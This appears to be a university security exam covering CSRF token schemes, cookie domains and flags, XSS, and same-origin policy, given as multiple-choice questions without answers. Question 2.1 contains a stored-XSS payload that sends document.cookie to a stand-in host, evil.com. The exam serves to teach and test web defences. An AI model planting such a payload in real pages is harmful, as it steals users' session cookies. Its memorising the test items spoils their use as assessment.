

Q1 *Cauliflower Smells Really Flavorful*

(17 points)

califlower.com decides to defend against CSRF attacks as follows:

1. When a user logs in, cauliflower.com sets two 32-byte cookies `session_id` and `csrf_token` randomly with domain `califlower.com`.
2. When the user sends a POST request, the value of the `csrf_token` is embedded as one of the form fields.
3. On receiving a POST request, cauliflower.com checks that the value of the `csrf_token` cookie matches the one in the form.

Assume that the cookies don't have the `secure`, `HttpOnly`, or `Strict` flags set unless stated otherwise. Assume that no CSRF defenses besides the tokens are implemented. Assume every subpart is independent.

Q1.1 (3 points) Suppose the attacker gets the client to visit their malicious website which has domain `evil.com`. What can they do?

- | | |
|--|--|
| <input type="checkbox"/> (A) CSRF attack against <code>califlower.com</code> | <input type="checkbox"/> (D) None of the above |
| <input type="checkbox"/> (B) Change the user's <code>csrf_token</code> cookie | <input type="checkbox"/> (E) — |
| <input type="checkbox"/> (C) Learn the value of the <code>session_id</code> cookie | <input type="checkbox"/> (F) — |

Q1.2 (3 points) Suppose the attacker gets the client to visit their malicious website which has domain `evil.califlower.com`. What can they do?

- | | |
|--|--|
| <input type="checkbox"/> (G) CSRF attack against <code>califlower.com</code> | <input type="checkbox"/> (J) None of the above |
| <input type="checkbox"/> (H) Change the user's <code>csrf_token</code> cookie | <input type="checkbox"/> (K) — |
| <input type="checkbox"/> (I) Learn the value of the <code>session_id</code> cookie | <input type="checkbox"/> (L) — |

Q1.3 (3 points) Suppose the attacker gets the client to visit a page on the website `xss.califlower.com` that contains a stored XSS vulnerability (the website `xss.califlower.com` is not controlled by the attacker). What can they do?

- | | |
|--|--|
| <input type="checkbox"/> (A) CSRF attack against <code>califlower.com</code> | <input type="checkbox"/> (D) None of the above |
| <input type="checkbox"/> (B) Change the user's <code>csrf_token</code> cookie | <input type="checkbox"/> (E) — |
| <input type="checkbox"/> (C) Learn the value of the <code>session_id</code> cookie | <input type="checkbox"/> (F) — |

Q1.4 (3 points) Suppose the attacker is on-path and observes the user make a POST request over HTTP to califlower.com. What can they do?

- (G) CSRF attack against califlower.com (J) None of the above
- (H) Change the user's csrf_token cookie (K) —
- (I) Learn the value of the session_id cookie (L) —

Q1.5 (5 points) Suppose the attacker is a MITM. The victim uses HTTP and is logged into califlower.com but will not visit califlower.com at all. Describe how this attacker can successfully perform a CSRF attack against califlower.com when the user makes a single request to any website. (*Hint: Remember a MITM can modify a webpage over HTTP since there are no integrity checks.*)

Q2 *Multiverse of Madness (Part 1)*

(16 points)

In order to track his fellow Avengers, Dr. Strange proposes using Find My Avengers (<https://findmyavengers.cs161.org/>), a location-sharing website recently upgraded to support the multiverse. In this question, we'll walk through a security analysis of different components of this website!

Users sign in with a username and password. Once they've signed in, they're asked to set their name and profile picture URL, which they can change at any point in the future. On the home page, they can see the names and profile pictures for each person that has shared their location with them.

Assume that Find My Avengers uses session token-based authentication, with a `sessionToken` cookie with the following attributes:

Domain: `findmyavengers.cs161.org`

Path: `/`

Assume that all adversaries have control over `https://evil.com/`, and can access a log of all requests made to that domain. Assume that all XSS protections are disabled, unless otherwise stated.

Q2.1 (2 points) Thanos sets his name to the following JavaScript payload:

```
1 <script>fetch('https://evil.com/send?message='+document.cookie)</script>
```

Then, Thanos shares his location with Dr. Strange. Under which of the following configurations for the site's session token will Dr. Strange's session token be leaked to Thanos when Dr. Strange opens the site? For this question part only, assume that a stored XSS vulnerability exists on the site. Select all that apply.

- Secure = False, HttpOnly = False, SameSite = None
- Secure = True, HttpOnly = True, SameSite = None
- Secure = True, HttpOnly = False, SameSite = Strict
- Secure = True, HttpOnly = True, SameSite = Strict
- None of the above

Q2.2 (4 points) Thanos changes his profile picture URL to `/api/serverDoSomething`. This will cause Dr. Strange's browser to make a GET request to `https://findmyavengers.cs161.org/api/serverDoSomething`, with Dr. Strange's session cookie attached.

Which techniques would defend against this attack? Select all that apply.

- Input sanitization
- A content security policy
- Setting `HttpOnly` to True
- Referer checking
- None of the above

Q2.3 (3 points) In order to see the names and profile pictures of their friends, the server makes a request to `/api/getFriendList`. The server checks the value of the `sessionToken` cookie against a sessions table, and returns an array of friend usernames and current locations if a valid session token exists.

For this question, assume the session token is configured as follows:

```
Domain: findmyavengers.cs161.org
Path: /
Secure: False
HttpOnly: False
SameSite: None
```

Assume that Thanos has identified a reflected XSS attack on each of the following domains. Which domains can he use to achieve his end goal of learning all of Dr. Strange's friends' locations? Select all that apply.

- `https://findmyavengers.cs161.org/`
- `http://findmyavengers.cs161.org/`
- `https://findmyavengers.cs161.org/other/`
- `https://findmyavengers.cs161.org:8084/other/`
- `http://hello.findmyavengers.cs161.org/`
- `https://cs161.org/`
- None of the above

To make the site functional, Dr. Strange adds in a JavaScript library by Stark Industries. The following line is added to `https://findmyavengers.cs161.org`.

```
<script src="https://cdn.starkindustries.com/gps.js" />
```

Q2.4 (2 points) Given that Same-Origin Policy applies, is this script able to run?

- Yes.
- No.

Q2.5 (2 points) What origin does the script have?

- <https://cdn.starkindustries.com>
- <https://starkindustries.com>
- <https://findmyavengers.cs161.org/>
- <https://cs161.org/>
- None of the above

Q2.6 (3 points) When the client makes a request to `https://cdn.starkindustries.com/gps.js` from `https://findmyavengers.cs161.org/`, the Stark Industries server attempts to use the SET-COOKIE header in the response to set some cookies. Which of the following cookie configurations will be allowed by the browser? Select all that apply.

- Domain: `findmyavengers.cs161.org`
Path: `/`
Secure: `False`
HttpOnly: `False`
SameSite: `Strict`

- Domain: `cs161.org`
Path: `/`
Secure: `False`
HttpOnly: `False`

- Domain: `stark.findmyavengers.cs161.org`
Path: `/`
Secure: `False`
HttpOnly: `False`

- Domain: `cdn.starkindustries.org`
Path: `/`
Secure: `False`
HttpOnly: `True`

- Domain: `starkindustries.org`
Path: `/`
Secure: `True`
HttpOnly: `False`

- Domain: `tracker.cdn.starkindustries.org`
Path: `/house-party-protocol`
Secure: `False`
HttpOnly: `False`
SameSite: `Strict`

- None of the above